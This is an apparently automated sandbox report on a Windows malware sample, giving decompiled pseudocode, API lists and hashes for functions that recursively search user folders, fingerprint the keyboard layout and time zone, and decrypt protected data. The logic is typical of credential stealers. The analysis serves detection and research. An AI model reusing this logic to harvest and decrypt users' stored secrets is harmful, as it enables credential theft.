Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x715fa0
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x717be0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x7184f8
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x717b80
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x717bf8
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED
{q, xrefs: 0040977B

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*${q
API String ID: 180737720-205201925
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x719b00
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x718ea8
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x719b90
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x718ea8
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x7157d0
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x718ea8
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007120C8), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

